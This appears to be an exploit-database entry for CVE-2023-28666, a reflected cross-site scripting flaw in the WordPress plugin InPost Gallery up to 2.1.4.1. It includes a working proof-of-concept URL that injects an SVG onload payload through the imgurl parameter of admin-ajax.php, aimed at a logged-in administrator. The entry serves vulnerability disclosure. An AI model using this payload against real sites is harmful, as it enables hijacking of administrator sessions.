Exploit for InPost Gallery <= 2.1.4.1 - Reflected XSS CVE-2023-28666

Name: Exploit for InPost Gallery <= 2.1.4.1 - Reflected XSS CVE-2023-28666
Rating: 5 (41 reviews)

2023-03-22 | CVSS 4.9

## https://sploitus.com/exploit?id=WPEX-ID:1F1CCE27-9426-4646-8B1D-1415246C94CD
Make a logged in admin open https://example.com/wp-admin/admin-ajax.php?action=add_inpost_gallery_slide_item&imgurl="><svg%20onload=alert(1)>